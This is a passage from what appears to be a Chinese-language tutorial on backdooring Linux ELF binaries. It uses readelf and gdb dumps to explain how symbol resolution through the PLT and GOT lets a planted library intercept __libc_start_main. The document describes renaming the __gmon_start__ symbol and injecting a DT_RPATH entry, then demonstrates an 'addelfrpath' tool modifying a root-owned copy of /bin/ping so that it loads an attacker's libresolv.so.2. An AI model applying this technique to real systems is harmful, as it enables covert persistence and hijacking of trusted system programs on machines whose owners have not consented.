|
Relocation section '.rel.plt' at offset 0x29c contains 4 entries:
Offset Info Type Symbol's Value Symbol's Name
080494e8 00107 R_386_JUMP_SLOT 080482e4 __register_frame_info
080494ec 00207 R_386_JUMP_SLOT 080482f4 __deregister_frame_info
080494f0 00307 R_386_JUMP_SLOT 08048304 __libc_start_main
----------------------------------------------------------------
Symbol table '.dynsym' contains 7 entries:
Num: Value Size Type Bind Vis Ndx Name
3: 08048304 202 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0">__libc_start_main@GLIBC_2.0 (2)
6: 08048430 10 FUNC GLOBAL DEFAULT 12 __gmon_start__
rel.dyn实际重定位对应.dynsym 本来__gmon_start__不应该出现在这里,对应与上面的解释
10个字节,函数类型,value为0x8048430,关联与[12].text
----------------------------------------------------------------
Symbol table '.symtab' contains 77 entries:
Num: Value Size Type Bind Vis Ndx Name
[..] 实际上__gmon_start不需要重定位
67: 08048304 202 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_2.0">__libc_start_main@@GLIBC_2.0
76: 08048430 10 FUNC GLOBAL DEFAULT 12 __gmon_start__
------------------------------------------------------------------
[wujian@redhat72 elf_door]$ gdb -q test
(gdb) disas main
Dump of assembler code for function main:
0x804843c <main>: push %ebp
0x804843d <main+1>: mov %esp,%ebp
0x804843f <main+3>: sub $0x8,%esp
0x8048442 <main+6>: call 0x8048430 <__gmon_start__>
0x8048447 <main+11>: mov %eax,%eax
0x8048449 <main+13>: mov %eax,%eax
0x804844b <main+15>: leave
0x804844c <main+16>: ret
0x804844d <main+17>: lea 0x0(%esi),%esi
End of assembler dump.
(gdb) b *0x8048430
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/wujian/share/elf_door/test
Breakpoint 1, 0x08048430 in __gmon_start__ ()
(gdb) disas
Dump of assembler code for function __gmon_start__:
0x8048430 <__gmon_start__>: push %ebp
0x8048431 <__gmon_start__+1>: mov %esp,%ebp
0x8048433 <__gmon_start__+3>: mov $0x0,%eax
0x8048438 <__gmon_start__+8>: pop %ebp
0x8048439 <__gmon_start__+9>: ret
0x804843a <__gmon_start__+10>: mov %esi,%esi
End of assembler dump.
(gdb) x/x 0x80494f8 ---〉got偏移地址offset处的入口值修改为该符号的地址
0x80494f8 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048430
综上所述,推断出结论了吧;(
这个修改很简单通过遍历section,我们先寻找节类型sh_type==SHT_DYNSYM的动态符号节.dynsym节,同时这个节关联这.dynstr节
(看图三)sh_link=[5].dynstr,我们把dynstr节缓存,然后寻找符号的st_name(偏移索引)是否等同于__gmon_start__,
然后修改,以上修改结束,并且我们得到了index索引的偏移;
然后添加DT_RPATH这个entry,上面说过的我们寻找第一个NULL入口,我们通过遍历.dynamic数组找到第一个NULL入口结构
然后修改d_tag为DT_RPATH,然后把上面的到的index添入d_un.val中,至此修改elf文件完毕。
至此我们任务a完毕。
现在我们来看问题b:
为啥"能够"截获__libc_start_main()?
这就要涉及到符号解析和plt的概念
我们还用上面的test.c演示;
[wujian@redhat72 elf_door]$ gdb -q test
(gdb) disas _start
Dump of assembler code for function _start:
0x8048330 <_start>: xor %ebp,%ebp
0x8048332 <_start+2>: pop %esi
0x8048333 <_start+3>: mov %esp,%ecx
0x8048335 <_start+5>: and $0xfffffff0,%esp
0x8048338 <_start+8>: push %eax
0x8048339 <_start+9>: push %esp
0x804833a <_start+10>: push %edx
0x804833b <_start+11>: push $0x8048490
0x8048340 <_start+16>: push $0x80482bc
0x8048345 <_start+21>: push %ecx
0x8048346 <_start+22>: push %esi
0x8048347 <_start+23>: push $0x804843c
0x804834c <_start+28>: call 0x8048304 <__libc_start_main> ---〉(实际也是需要重定位的,最关键的)
0x8048351 <_start+33>: hlt
0x8048352 <_start+34>: mov %esi,%esi
End of assembler dump.
(gdb) b *0x8048304
Breakpoint 1 at 0x8048304
(gdb) r
Starting program: /home/wujian/share/elf_door/test
Breakpoint 1 at 0x8048304: file ../sysdeps/generic/libc-start.c, line 53.
Breakpoint 1, 0x08048304 in __libc_start_main () at ../sysdeps/generic/libc-start.c:53
53 ../sysdeps/generic/libc-start.c: No such file or directory.
in ../sysdeps/generic/libc-start.c
(gdb) disas
Dump of assembler code for function __libc_start_main:
0x8048304 <__libc_start_main>: jmp *0x80494f0 0x8048304 plt中的entry 0x80494f0是got的地址
0x804830a <__libc_start_main+6>: push $0x10
0x804830f <__libc_start_main+11>: jmp 0x80482d4 <_init+24>
End of assembler dump.
(gdb)
下面关于符号解析的问题请参考alert7大侠的<< ELF动态解析符号过程(修订版)>>。需要注意的是我们之所以能截获__libc_start_
main是因为ping这个程序加载了两个.SO, 解析符号时link_map的结构中两个双向链表连接被加载的.SO,因为实际上因为顺着链表查询
符号因为先找到libresolv.so.2,然后才是libc.so.6。看图3注意处,DT_NEEDED,基本说明白了。
具体的过程不贴了,自己动手fixup一下。
我们看一下真实的ping DT_RPATH后门
[wujian@redhat72 elf_door]$ id
uid=500(wujian) gid=500(wujian) groups=500(wujian)
[wujian@redhat72 elf_door]$ su root
Password:
[root@redhat72 elf_door]# cp /bin/ping /bin/pinG
[root@redhat72 elf_door]# cp addelfrpath disp/
[root@redhat72 elf_door]# cp libresolv.so.2 disp/
[root@redhat72 elf_door]# cd disp
[root@redhat72 disp]# ls
addelfrpath libresolv.so.2
[root@redhat72 disp]# /bin/pinG
Usage: ping [-LRUbdfnqrvV] [-c count] [-i interval] [-w wait]
[-p pattern] [-s packetsize] [-t ttl] [-I interface address]
[ -T timestamp option ] [ -Q tos ] host
[root@redhat72 disp]# readelf -d /bin/pinG
Dynamic segment at offset 0x5618 contains 21 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libresolv.so.2]
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x8048a7c
0x0000000d (FINI) 0x804bfb0
0x00000004 (HASH) 0x8048128
0x00000005 (STRTAB) 0x8048610
0x00000006 (SYMTAB) 0x80482a0
0x0000000a (STRSZ) 541 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804e554
0x00000002 (PLTRELSZ) 360 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048914
0x00000011 (REL) 0x80488e4
0x00000012 (RELSZ) 48 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80488b4
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048844
0x00000000 (NULL) 0x0
[root@redhat72 disp]# ./addelfrpath /bin/pinG
+hErE is to Start
+filetype is ok
+modify __gmon_start__ to _wujianqiang:
+20 real entrys add DT_RPATH entry
|